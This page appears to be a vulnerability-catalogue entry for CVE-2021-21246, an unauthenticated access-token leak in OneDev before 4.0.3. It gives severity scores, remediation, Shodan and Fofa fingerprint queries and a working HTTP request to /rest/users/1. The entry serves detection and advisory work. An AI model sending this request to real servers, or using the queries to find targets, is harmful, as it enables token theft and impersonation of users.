🔙 목록으로 돌아가기

CVE-2021-21246: OneDev < 4.0.3 - User Access Token Leak

TitleOneDev < 4.0.3 - User Access Token Leak
AuthorDhiyaneshDk
SeverityHigh
ImpactAttackers can access sensitive user data and tokens, leading to impersonation, data leaks, and potential full account compromise.
RemediationUpdate to version 4.0.3 or later where user info is removed from the REST API.
CVSS Score8.6
EPSS Score0.30711
CVE IDCVE-2021-21246
CWE IDCWE-862
Shodan Querytitle:"OneDev"
Fofa Querytitle="OneDev"
Tags cve cve2021 onedev auth-bypass token-leak

🔍 Vulnerability Description

OneDev before version 4.0.3 contains an insecure endpoint that allows retrieval of arbitrary user details, including access tokens, due to missing security checks on /users/{id}, letting attackers leak sensitive data and impersonate users, exploit requires no special conditions.

🌐 HTTP Request

GET /rest/users/1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8
Connection: close
Accept: */*
Accept-Language: en
Content-Type: application/json
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21246.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-21246.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A